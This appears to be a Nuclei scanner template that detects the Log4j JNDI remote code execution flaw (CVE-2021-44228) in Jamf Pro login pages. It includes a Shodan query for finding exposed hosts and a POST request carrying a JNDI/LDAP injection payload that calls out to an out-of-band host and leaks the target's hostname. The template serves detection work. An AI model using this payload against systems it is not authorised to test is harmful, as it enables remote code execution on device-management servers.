id: jamf-log4j-jndi-rce

info:
  name: JamF  - Remote Code Execution  (Apache Log4j)
  author: pdteam
  severity: critical
  description: |
    JamF is susceptible to Lof4j JNDI remote code execution. JamF is the industry standard when it comes to the management of iOS devices (iPhones and iPads), macOS computers (MacBooks, iMacs, etc.), and tvOS devices (Apple TV).
  reference:
    - https://github.com/random-robbie/jamf-log4j
    - https://community.connection.com/what-is-jamf/
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
  metadata:
    shodan-query: http.html:"JamF"
    verified: "true"
  tags: cve,cve2021,rce,jndi,log4j,jamf,oast,kev

requests:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Referer: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded

        username=${jndi:ldap://${hostName}.{{interactsh-url}}/test}&password=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<title>Jamf Pro Login</title>'

      - type: word
        part: interactsh_protocol  # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'  # Match for extracted ${hostName} variable

    extractors:
      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output